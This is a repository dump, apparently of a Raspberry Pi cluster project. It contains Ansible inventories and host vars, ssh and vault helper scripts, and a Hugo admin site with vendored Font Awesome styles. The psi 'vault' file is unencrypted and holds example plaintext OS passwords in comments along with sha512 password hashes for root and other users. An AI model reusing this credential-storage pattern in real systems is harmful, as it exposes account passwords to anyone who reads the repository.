27 | rpi_failover_hostname: "alpha"
28 | rpi_failover_ip: "{{ hostvars['alpha']['rpi_ip'] }}"
29 | rpi_failover_hwaddr: "{{ hostvars['alpha']['rpi_mac'] }}"
30 |
31 | # keepalived
32 | keepalived_priority: "101"
33 | keepalived_state: "BACKUP"
34 |
35 | #-------------------------------------------------------------------------------
36 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/host_vars/psi/vars:
--------------------------------------------------------------------------------
1 | ---
2 |
3 | ansible_host: psi.local
4 | rpi_racked: "L1"
5 | rpi_ip: "127.0.0.1"
6 | rpi_mac: "b8:27:eb:ec:XX:XX"
7 |
8 | #-------------------------------------------------------------------------------
9 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/host_vars/psi/vault:
--------------------------------------------------------------------------------
1 | # psi Deployer host vault file
2 |
3 | # OS user password -------------------------------------------------------------
4 |
5 | # user: root pass: dfaultPW.example_root
6 | # user: piclust pass: dfaultPW.example_123
7 | # user: pi pass: dfaultPW.example_pi
8 |
9 | vault_user_pw: [
10 | {user: 'root', hash: '$6$rounds=656000$kvg9muhj2hcrVI83$C.ytqCBHtYoTTskR1tj/NDqci1fzeaym/KfCeFilsQJqAXgFOTCaQh/IEE/dlepvNy/v4qGaTnrG6oj320BCh0'},
11 | {user: 'piclust', hash: '$6$rounds=656000$4toLen6SzTw3sPg5$7PDWuLyOOaPJ3NbWAnAPd4pjdVUKn4ngwDtLX./159/tYmmLA3ArrVaqmJSY2m0AFOz4PskxxNGILlfEy478s/'},
12 | {user: 'pi', hash: '$6$rounds=656000$d6LtcYGCN1WShRJV$aRPBfdX/SC3v4Ttm64ZUyAUuNbLNYlhHWddldZAhFhW4hUAq8flQQNonUhLm7kV/Jz06ExFt40Yz5rnBUVU1y.'}
13 | ]
14 |
15 | # generating the hashes above, on an Admin machine (stretch or psi):
16 | #
17 | # source ~/env/bin/activate
18 | # set +o history
19 | # ansible localhost -m debug -a "msg={{ 'mypassword' | password_hash('sha512', 'mysalt123') }}"
20 | # set -o history
21 |
22 | #-------------------------------------------------------------------------------
23 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/inventory/compute/hosts:
--------------------------------------------------------------------------------
1 | # Hosts ini --------------------------------------------------------------------
2 |
3 | [compute]
4 | zeta ansible_host=zeta.local rpi_racked=L3 rpi_ip=192.168.10.XX rpi_mac=b8:27:eb:99:XX:XX
5 | epsilon ansible_host=epsilon.local rpi_racked=L4 rpi_ip=192.168.10.XX rpi_mac=b8:27:eb:bf:XX:XX
6 | gamma ansible_host=gamma.local rpi_racked=R3 rpi_ip=192.168.10.XX rpi_mac=b8:27:eb:ad:XX:XX
7 | delta ansible_host=delta.local rpi_racked=R4 rpi_ip=192.168.10.XX rpi_mac=b8:27:eb:31:XX:XX
8 |
9 | # Docker -----------------------------------------------------------------------
10 |
11 | [docker:children]
12 | docker_master
13 | docker_manager
14 | docker_worker
15 |
16 | [docker_master]
17 | epsilon
18 |
19 | [docker_manager]
20 | delta
21 |
22 | [docker_worker]
23 | delta
24 | gamma
25 | zeta
26 |
27 | #-------------------------------------------------------------------------------
28 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/inventory/deploy/hosts:
--------------------------------------------------------------------------------
1 | # Hosts ini --------------------------------------------------------------------
2 |
3 | [deploy]
4 | psi ansible_connection=local
5 |
6 | #-------------------------------------------------------------------------------
7 |
--------------------------------------------------------------------------------
/ansible/setup/defaults/inventory/lanservices/hosts:
--------------------------------------------------------------------------------
1 | # Hosts ini --------------------------------------------------------------------
2 |
3 | [lanservices]
4 | alpha
5 | beta
6 |
7 | # NTP --------------------------------------------------------------------------
8 |
9 | [ntpd:children]
10 | ntpserver
11 |
12 | [ntpserver]
13 | alpha
14 | beta
15 |
16 | #-------------------------------------------------------------------------------
17 |
--------------------------------------------------------------------------------
/ansible/setup/readme.md:
--------------------------------------------------------------------------------
1 | # setup/
2 |
3 | Scripts + Files used to setup the Deployer node.
4 |
5 | Running `install-deploy-tools.sh` is the very first action in setting up a Deployer node.
6 |
7 | Afer completion you can create a new cluster configuraiton, or restore from backup.
--------------------------------------------------------------------------------
/ansible/site.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # rpi_cluster master playbook. Usage:
3 | #
4 | # $ ansible-playbook site.yml
5 | #
6 | - import_playbook: playbook-rpi-deployer.yml
7 | - import_playbook: playbook-rpi-lanservices.yml
8 | - import_playbook: playbook-rpi-compute.yml
9 | - import_playbook: playbook-rpi-compute-k3s.yml
10 | - import_playbook: playbook-rpi-all-maint.yml
11 |
--------------------------------------------------------------------------------
/ansible/ssh_to_host.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #
3 | # name: ssh_agent_load.sh
4 | # desc: add password to ssh keyfile automatically and then connect to the host.
5 | #
6 | # use:
7 | # ./ssh_agent_load.sh alpha
8 | # echo uptime | ./ssh_to_host.sh alpha
9 |
10 |
11 | if [ $# -eq 0 ]; then
12 | echo "error no host specified."
13 | exit 1;
14 | fi
15 |
16 | rpilogit () {
17 | echo -e "rpicluster: $1 \n";
18 | logger -t rpicluster "$1";
19 | }
20 |
21 | # get ssh key password from pass
22 | pass=$(pass ssh/id_ecdsa)
23 |
24 | # check expect is installed
25 | which expect || { echo "ERROR missing Expect"; exit 1; }
26 |
27 | # check we have a password
28 | pass_leng=$(echo $pass | wc -c)
29 | if [ ${pass_leng} -lt 10 ]; then
30 | echo "password too short"
31 | exit 1;
32 | else
33 | # start ssh-agent
34 | eval `ssh-agent`
35 | fi
36 |
37 | rpilogit "ssh_to_host.sh on: $1";
38 |
39 | # enter ssh-key password into agent
40 | expect << EOF
41 | spawn ssh-add /home/pi/.ssh/id_ecdsa
42 | expect "Enter passphrase for /home/pi/.ssh/id_ecdsa:"
43 | send "$pass\r"
44 | expect eof
45 | EOF
46 |
47 | pass="x";
48 |
49 | # connect to host
50 | ssh $1;
51 |
52 | # close ssh-agent
53 | eval `ssh-agent -k`
54 |
55 | echo done;
56 |
--------------------------------------------------------------------------------
/ansible/vault_pass.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # script to get ansible vault password, this script is called from
4 | # the vault_password_file option in ansible.cfg
5 | #
6 | # instead of using --vault-password-file with ansiblie on command line.
7 |
8 | # https://www.passwordstore.org/
9 |
10 | /usr/bin/pass ansible/vault/current
11 |
12 | if [ $? -eq 1 ]; then
13 | echo "ERROR: missing ansible vault pass";
14 | exit 1;
15 | fi
16 |
--------------------------------------------------------------------------------
/code/hugo-site/archetypes/default.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "{{ replace .TranslationBaseName "-" " " | title }}"
3 | date = {{ .Date }}
4 | tags = ["x", "y"]
5 | categories = ["x", "y"]
6 |
7 | +++
8 |
--------------------------------------------------------------------------------
/code/hugo-site/config.toml:
--------------------------------------------------------------------------------
1 | title = "R-Pi Cluster portal"
2 | baseURL = ""
3 | buildDrafts = false
4 | theme = "berrycluster"
5 | copyright = "Nope"
6 |
7 | [author]
8 | name = "crgm"
9 | email = "crgm@crgm.net"
10 |
11 | [taxonomies]
12 | category = "categories"
13 | tag = "tags"
14 |
15 | [params]
16 | description = "Local blog for my Pi cluster."
17 | author = "crgm"
18 | debug_page_name = false
19 |
20 | [[menu.main]]
21 | name = "lanservice"
22 | pre = ""
23 | weight = -100
24 | url = "/lanservice/"
25 | [[menu.main]]
26 | name = "serverspec"
27 | pre = ""
28 | weight = -100
29 | url = "/serverspec/"
30 | [[menu.main]]
31 | name = "compute"
32 | pre = ""
33 | weight = -100
34 | url = "/compute/"
35 | [[menu.main]]
36 | name = "about"
37 | pre = ""
38 | weight = -100
39 | url = "/about/"
40 |
--------------------------------------------------------------------------------
/code/hugo-site/content/compute/index.html:
--------------------------------------------------------------------------------
1 | +++
2 | title = "compute"
3 | tags = ["compute"]
4 | categories = ["compute"]
5 | +++
6 |
7 | Compute nodes
8 |
9 |
27 |
28 |
46 |
--------------------------------------------------------------------------------
/code/hugo-site/content/index.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "home"
3 |
4 | +++
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/code/hugo-site/content/lanservice/index.html:
--------------------------------------------------------------------------------
1 | +++
2 | title = "lanservice"
3 | tags = ["lanservice"]
4 | categories = ["lanservice"]
5 | +++
6 |
7 |
8 |
LanService nodes
9 |
10 |
20 |
21 |
22 |
23 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/code/hugo-site/content/reports/index.html:
--------------------------------------------------------------------------------
1 | +++
2 | title = "reports"
3 | tags = ["reports"]
4 | categories = ["reports"]
5 | +++
6 |
7 | reports
8 |
--------------------------------------------------------------------------------
/code/hugo-site/content/serverspec/reports/index.md:
--------------------------------------------------------------------------------
1 | +++
2 | title = "reports"
3 |
4 | +++
5 |
6 | report
7 |
--------------------------------------------------------------------------------
/code/hugo-site/i18n/default.toml:
--------------------------------------------------------------------------------
1 | [wordCount]
2 | other = "{{ .WordCount }} words"
3 |
--------------------------------------------------------------------------------
/code/hugo-site/i18n/en.toml:
--------------------------------------------------------------------------------
1 | [wordCount]
2 | other = "{{ .WordCount }} words"
3 |
--------------------------------------------------------------------------------
/code/hugo-site/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "rpi-hugo-site",
3 | "version": "0.1.0",
4 | "description": "rpi admin portal",
5 | "main": "index.html",
6 | "scripts": {
7 | "test": "true",
8 | "assets-bootstrap": "cp -av -- node_modules/bootstrap/dist/ static/;",
9 | "assets-jquery": "cp -av -- node_modules/jquery/dist/ static/js/",
10 | "assets-fontawesome": "cp -av -- node_modules/font-awesome/ static/"
11 | },
12 | "author": "crgm",
13 | "license": "ISC",
14 | "dependencies": {
15 | "bootstrap": ">=4.3.1",
16 | "font-awesome": "^=5.0.0"
17 | },
18 | "devDependencies": {
19 | "jquery": "^3=.4.1",
20 | "node-sass": "^=4.5.3",
21 | "onchange": "^3.2.1",
22 | "pm2": "^2.5.0"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/code/hugo-site/readme.md:
--------------------------------------------------------------------------------
1 |
2 | A website made with Hugo.
3 |
4 | Requires:
5 | * Hugo - https://gohugo.io/
6 | * Yarn - https://yarnpkg.com/en/
7 | * Node/NPM - https://www.npmjs.com/
8 |
9 | Site made with: bootstrap + jquery + font-awesome.
--------------------------------------------------------------------------------
/code/hugo-site/static/.npmignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | *.egg-info
3 | *.db
4 | *.db.old
5 | *.swp
6 | *.db-journal
7 |
8 | .coverage
9 | .DS_Store
10 | .installed.cfg
11 | _gh_pages/*
12 |
13 | .idea/*
14 | .svn/*
15 | src/website/static/*
16 | src/website/media/*
17 |
18 | bin
19 | cfcache
20 | develop-eggs
21 | dist
22 | downloads
23 | eggs
24 | parts
25 | tmp
26 | .sass-cache
27 | node_modules
28 |
29 | src/website/settingslocal.py
30 | stunnel.log
31 |
32 | .ruby-version
33 |
34 | # don't need these in the npm package.
35 | src/
36 | _config.yml
37 | bower.json
38 | component.json
39 | composer.json
40 | CONTRIBUTING.md
41 | Gemfile
42 | Gemfile.lock
43 |
--------------------------------------------------------------------------------
/code/hugo-site/static/HELP-US-OUT.txt:
--------------------------------------------------------------------------------
1 | I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project,
2 | Fort Awesome (https://fortawesome.com). It makes it easy to put the perfect icons on your website. Choose from our awesome,
3 | comprehensive icon sets or copy and paste your own.
4 |
5 | Please. Check it out.
6 |
7 | -Dave Gandy
8 |
--------------------------------------------------------------------------------
/code/hugo-site/static/css/tether-theme-basic.css:
--------------------------------------------------------------------------------
1 | .tether-element, .tether-element:after, .tether-element:before, .tether-element *, .tether-element *:after, .tether-element *:before {
2 | box-sizing: border-box; }
3 |
4 | .tether-element {
5 | position: absolute;
6 | display: none; }
7 | .tether-element.tether-open {
8 | display: block; }
9 |
10 | .tether-element.tether-theme-basic {
11 | max-width: 100%;
12 | max-height: 100%; }
13 | .tether-element.tether-theme-basic .tether-content {
14 | border-radius: 5px;
15 | box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2);
16 | font-family: inherit;
17 | background: #fff;
18 | color: inherit;
19 | padding: 1em;
20 | font-size: 1.1em;
21 | line-height: 1.5em; }
22 |
--------------------------------------------------------------------------------
/code/hugo-site/static/css/tether-theme-basic.min.css:
--------------------------------------------------------------------------------
1 | .tether-element,.tether-element *,.tether-element :after,.tether-element :before,.tether-element:after,.tether-element:before{box-sizing:border-box}.tether-element{position:absolute;display:none}.tether-element.tether-open{display:block}.tether-element.tether-theme-basic{max-width:100%;max-height:100%}.tether-element.tether-theme-basic .tether-content{border-radius:5px;box-shadow:0 2px 8px rgba(0,0,0,.2);font-family:inherit;background:#fff;color:inherit;padding:1em;font-size:1.1em;line-height:1.5em}
--------------------------------------------------------------------------------
/code/hugo-site/static/css/tether.css:
--------------------------------------------------------------------------------
1 | .tether-element, .tether-element:after, .tether-element:before, .tether-element *, .tether-element *:after, .tether-element *:before {
2 | box-sizing: border-box; }
3 |
4 | .tether-element {
5 | position: absolute;
6 | display: none; }
7 | .tether-element.tether-open {
8 | display: block; }
9 |
--------------------------------------------------------------------------------
/code/hugo-site/static/css/tether.min.css:
--------------------------------------------------------------------------------
1 | .tether-element,.tether-element *,.tether-element :after,.tether-element :before,.tether-element:after,.tether-element:before{box-sizing:border-box}.tether-element{position:absolute;display:none}.tether-element.tether-open{display:block}
--------------------------------------------------------------------------------
/code/hugo-site/static/fonts/FontAwesome.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/FontAwesome.otf
--------------------------------------------------------------------------------
/code/hugo-site/static/fonts/fontawesome-webfont.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/fontawesome-webfont.eot
--------------------------------------------------------------------------------
/code/hugo-site/static/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/fontawesome-webfont.ttf
--------------------------------------------------------------------------------
/code/hugo-site/static/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/fontawesome-webfont.woff
--------------------------------------------------------------------------------
/code/hugo-site/static/fonts/fontawesome-webfont.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/fonts/fontawesome-webfont.woff2
--------------------------------------------------------------------------------
/code/hugo-site/static/img/rasp-logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/static/img/rasp-logo.png
--------------------------------------------------------------------------------
/code/hugo-site/static/js/css/tether-theme-basic.css:
--------------------------------------------------------------------------------
1 | .tether-element, .tether-element:after, .tether-element:before, .tether-element *, .tether-element *:after, .tether-element *:before {
2 | box-sizing: border-box; }
3 |
4 | .tether-element {
5 | position: absolute;
6 | display: none; }
7 | .tether-element.tether-open {
8 | display: block; }
9 |
10 | .tether-element.tether-theme-basic {
11 | max-width: 100%;
12 | max-height: 100%; }
13 | .tether-element.tether-theme-basic .tether-content {
14 | border-radius: 5px;
15 | box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2);
16 | font-family: inherit;
17 | background: #fff;
18 | color: inherit;
19 | padding: 1em;
20 | font-size: 1.1em;
21 | line-height: 1.5em; }
22 |
--------------------------------------------------------------------------------
/code/hugo-site/static/js/css/tether-theme-basic.min.css:
--------------------------------------------------------------------------------
1 | .tether-element,.tether-element *,.tether-element :after,.tether-element :before,.tether-element:after,.tether-element:before{box-sizing:border-box}.tether-element{position:absolute;display:none}.tether-element.tether-open{display:block}.tether-element.tether-theme-basic{max-width:100%;max-height:100%}.tether-element.tether-theme-basic .tether-content{border-radius:5px;box-shadow:0 2px 8px rgba(0,0,0,.2);font-family:inherit;background:#fff;color:inherit;padding:1em;font-size:1.1em;line-height:1.5em}
--------------------------------------------------------------------------------
/code/hugo-site/static/js/css/tether.css:
--------------------------------------------------------------------------------
1 | .tether-element, .tether-element:after, .tether-element:before, .tether-element *, .tether-element *:after, .tether-element *:before {
2 | box-sizing: border-box; }
3 |
4 | .tether-element {
5 | position: absolute;
6 | display: none; }
7 | .tether-element.tether-open {
8 | display: block; }
9 |
--------------------------------------------------------------------------------
/code/hugo-site/static/js/css/tether.min.css:
--------------------------------------------------------------------------------
1 | .tether-element,.tether-element *,.tether-element :after,.tether-element :before,.tether-element:after,.tether-element:before{box-sizing:border-box}.tether-element{position:absolute;display:none}.tether-element.tether-open{display:block}
--------------------------------------------------------------------------------
/code/hugo-site/static/less/animated.less:
--------------------------------------------------------------------------------
1 | // Animated Icons
2 | // --------------------------
3 |
4 | .@{fa-css-prefix}-spin {
5 | -webkit-animation: fa-spin 2s infinite linear;
6 | animation: fa-spin 2s infinite linear;
7 | }
8 |
9 | .@{fa-css-prefix}-pulse {
10 | -webkit-animation: fa-spin 1s infinite steps(8);
11 | animation: fa-spin 1s infinite steps(8);
12 | }
13 |
14 | @-webkit-keyframes fa-spin {
15 | 0% {
16 | -webkit-transform: rotate(0deg);
17 | transform: rotate(0deg);
18 | }
19 | 100% {
20 | -webkit-transform: rotate(359deg);
21 | transform: rotate(359deg);
22 | }
23 | }
24 |
25 | @keyframes fa-spin {
26 | 0% {
27 | -webkit-transform: rotate(0deg);
28 | transform: rotate(0deg);
29 | }
30 | 100% {
31 | -webkit-transform: rotate(359deg);
32 | transform: rotate(359deg);
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/bordered-pulled.less:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em @fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .@{fa-css-prefix}-pull-left { float: left; }
11 | .@{fa-css-prefix}-pull-right { float: right; }
12 |
13 | .@{fa-css-prefix} {
14 | &.@{fa-css-prefix}-pull-left { margin-right: .3em; }
15 | &.@{fa-css-prefix}-pull-right { margin-left: .3em; }
16 | }
17 |
18 | /* Deprecated as of 4.4.0 */
19 | .pull-right { float: right; }
20 | .pull-left { float: left; }
21 |
22 | .@{fa-css-prefix} {
23 | &.pull-left { margin-right: .3em; }
24 | &.pull-right { margin-left: .3em; }
25 | }
26 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/core.less:
--------------------------------------------------------------------------------
1 | // Base Class Definition
2 | // -------------------------
3 |
4 | .@{fa-css-prefix} {
5 | display: inline-block;
6 | font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration
7 | font-size: inherit; // can't have font-size inherit on line above, so need to override
8 | text-rendering: auto; // optimizelegibility throws things off #1094
9 | -webkit-font-smoothing: antialiased;
10 | -moz-osx-font-smoothing: grayscale;
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/fixed-width.less:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .@{fa-css-prefix}-fw {
4 | width: (18em / 14);
5 | text-align: center;
6 | }
7 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/font-awesome.less:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
4 | */
5 |
6 | @import "variables.less";
7 | @import "mixins.less";
8 | @import "path.less";
9 | @import "core.less";
10 | @import "larger.less";
11 | @import "fixed-width.less";
12 | @import "list.less";
13 | @import "bordered-pulled.less";
14 | @import "animated.less";
15 | @import "rotated-flipped.less";
16 | @import "stacked.less";
17 | @import "icons.less";
18 | @import "screen-reader.less";
19 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/larger.less:
--------------------------------------------------------------------------------
1 | // Icon Sizes
2 | // -------------------------
3 |
4 | /* makes the font 33% larger relative to the icon container */
5 | .@{fa-css-prefix}-lg {
6 | font-size: (4em / 3);
7 | line-height: (3em / 4);
8 | vertical-align: -15%;
9 | }
10 | .@{fa-css-prefix}-2x { font-size: 2em; }
11 | .@{fa-css-prefix}-3x { font-size: 3em; }
12 | .@{fa-css-prefix}-4x { font-size: 4em; }
13 | .@{fa-css-prefix}-5x { font-size: 5em; }
14 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/list.less:
--------------------------------------------------------------------------------
1 | // List Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-ul {
5 | padding-left: 0;
6 | margin-left: @fa-li-width;
7 | list-style-type: none;
8 | > li { position: relative; }
9 | }
10 | .@{fa-css-prefix}-li {
11 | position: absolute;
12 | left: -@fa-li-width;
13 | width: @fa-li-width;
14 | top: (2em / 14);
15 | text-align: center;
16 | &.@{fa-css-prefix}-lg {
17 | left: (-@fa-li-width + (4em / 14));
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/path.less:
--------------------------------------------------------------------------------
1 | /* FONT PATH
2 | * -------------------------- */
3 |
4 | @font-face {
5 | font-family: 'FontAwesome';
6 | src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}');
7 | src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'),
8 | url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'),
9 | url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'),
10 | url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'),
11 | url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg');
12 | // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
13 | font-weight: normal;
14 | font-style: normal;
15 | }
16 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/rotated-flipped.less:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-rotate-90 { .fa-icon-rotate(90deg, 1); }
5 | .@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); }
6 | .@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); }
7 |
8 | .@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); }
9 | .@{fa-css-prefix}-flip-vertical { .fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .@{fa-css-prefix}-rotate-90,
15 | :root .@{fa-css-prefix}-rotate-180,
16 | :root .@{fa-css-prefix}-rotate-270,
17 | :root .@{fa-css-prefix}-flip-horizontal,
18 | :root .@{fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/screen-reader.less:
--------------------------------------------------------------------------------
1 | // Screen Readers
2 | // -------------------------
3 |
4 | .sr-only { .sr-only(); }
5 | .sr-only-focusable { .sr-only-focusable(); }
6 |
--------------------------------------------------------------------------------
/code/hugo-site/static/less/stacked.less:
--------------------------------------------------------------------------------
1 | // Stacked Icons
2 | // -------------------------
3 |
4 | .@{fa-css-prefix}-stack {
5 | position: relative;
6 | display: inline-block;
7 | width: 2em;
8 | height: 2em;
9 | line-height: 2em;
10 | vertical-align: middle;
11 | }
12 | .@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x {
13 | position: absolute;
14 | left: 0;
15 | width: 100%;
16 | text-align: center;
17 | }
18 | .@{fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .@{fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .@{fa-css-prefix}-inverse { color: @fa-inverse; }
21 |
--------------------------------------------------------------------------------
/code/hugo-site/static/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "font-awesome",
3 | "description": "The iconic font and CSS framework",
4 | "version": "4.7.0",
5 | "style": "css/font-awesome.css",
6 | "keywords": ["font", "awesome", "fontawesome", "icon", "font", "bootstrap"],
7 | "homepage": "http://fontawesome.io/",
8 | "bugs": {
9 | "url" : "http://github.com/FortAwesome/Font-Awesome/issues"
10 | },
11 | "author": {
12 | "name": "Dave Gandy",
13 | "email": "dave@fontawesome.io",
14 | "web": "http://twitter.com/davegandy"
15 | },
16 | "repository": {
17 | "type": "git",
18 | "url": "https://github.com/FortAwesome/Font-Awesome.git"
19 | },
20 | "contributors": [
21 | {
22 | "name": "Brian Talbot",
23 | "web": "http://twitter.com/talbs"
24 | },
25 | {
26 | "name": "Travis Chase",
27 | "web": "http://twitter.com/supercodepoet"
28 | },
29 | {
30 | "name": "Rob Madole",
31 | "web": "http://twitter.com/robmadole"
32 | },
33 | {
34 | "name": "Geremia Taglialatela",
35 | "web": "http://twitter.com/gtagliala"
36 | }
37 | ],
38 | "license": "(OFL-1.1 AND MIT)",
39 | "dependencies": {
40 | },
41 | "engines" : {
42 | "node" : ">=0.10.3"
43 | }
44 | }
45 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_animated.scss:
--------------------------------------------------------------------------------
1 | // Spinning Icons
2 | // --------------------------
3 |
4 | .#{$fa-css-prefix}-spin {
5 | -webkit-animation: fa-spin 2s infinite linear;
6 | animation: fa-spin 2s infinite linear;
7 | }
8 |
9 | .#{$fa-css-prefix}-pulse {
10 | -webkit-animation: fa-spin 1s infinite steps(8);
11 | animation: fa-spin 1s infinite steps(8);
12 | }
13 |
14 | @-webkit-keyframes fa-spin {
15 | 0% {
16 | -webkit-transform: rotate(0deg);
17 | transform: rotate(0deg);
18 | }
19 | 100% {
20 | -webkit-transform: rotate(359deg);
21 | transform: rotate(359deg);
22 | }
23 | }
24 |
25 | @keyframes fa-spin {
26 | 0% {
27 | -webkit-transform: rotate(0deg);
28 | transform: rotate(0deg);
29 | }
30 | 100% {
31 | -webkit-transform: rotate(359deg);
32 | transform: rotate(359deg);
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_bordered-pulled.scss:
--------------------------------------------------------------------------------
1 | // Bordered & Pulled
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-border {
5 | padding: .2em .25em .15em;
6 | border: solid .08em $fa-border-color;
7 | border-radius: .1em;
8 | }
9 |
10 | .#{$fa-css-prefix}-pull-left { float: left; }
11 | .#{$fa-css-prefix}-pull-right { float: right; }
12 |
13 | .#{$fa-css-prefix} {
14 | &.#{$fa-css-prefix}-pull-left { margin-right: .3em; }
15 | &.#{$fa-css-prefix}-pull-right { margin-left: .3em; }
16 | }
17 |
18 | /* Deprecated as of 4.4.0 */
19 | .pull-right { float: right; }
20 | .pull-left { float: left; }
21 |
22 | .#{$fa-css-prefix} {
23 | &.pull-left { margin-right: .3em; }
24 | &.pull-right { margin-left: .3em; }
25 | }
26 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_core.scss:
--------------------------------------------------------------------------------
1 | // Base Class Definition
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix} {
5 | display: inline-block;
6 | font: normal normal normal #{$fa-font-size-base}/#{$fa-line-height-base} FontAwesome; // shortening font declaration
7 | font-size: inherit; // can't have font-size inherit on line above, so need to override
8 | text-rendering: auto; // optimizelegibility throws things off #1094
9 | -webkit-font-smoothing: antialiased;
10 | -moz-osx-font-smoothing: grayscale;
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_fixed-width.scss:
--------------------------------------------------------------------------------
1 | // Fixed Width Icons
2 | // -------------------------
3 | .#{$fa-css-prefix}-fw {
4 | width: (18em / 14);
5 | text-align: center;
6 | }
7 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_larger.scss:
--------------------------------------------------------------------------------
1 | // Icon Sizes
2 | // -------------------------
3 |
4 | /* makes the font 33% larger relative to the icon container */
5 | .#{$fa-css-prefix}-lg {
6 | font-size: (4em / 3);
7 | line-height: (3em / 4);
8 | vertical-align: -15%;
9 | }
10 | .#{$fa-css-prefix}-2x { font-size: 2em; }
11 | .#{$fa-css-prefix}-3x { font-size: 3em; }
12 | .#{$fa-css-prefix}-4x { font-size: 4em; }
13 | .#{$fa-css-prefix}-5x { font-size: 5em; }
14 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_list.scss:
--------------------------------------------------------------------------------
1 | // List Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-ul {
5 | padding-left: 0;
6 | margin-left: $fa-li-width;
7 | list-style-type: none;
8 | > li { position: relative; }
9 | }
10 | .#{$fa-css-prefix}-li {
11 | position: absolute;
12 | left: -$fa-li-width;
13 | width: $fa-li-width;
14 | top: (2em / 14);
15 | text-align: center;
16 | &.#{$fa-css-prefix}-lg {
17 | left: -$fa-li-width + (4em / 14);
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_path.scss:
--------------------------------------------------------------------------------
1 | /* FONT PATH
2 | * -------------------------- */
3 |
4 | @font-face {
5 | font-family: 'FontAwesome';
6 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?v=#{$fa-version}');
7 | src: url('#{$fa-font-path}/fontawesome-webfont.eot?#iefix&v=#{$fa-version}') format('embedded-opentype'),
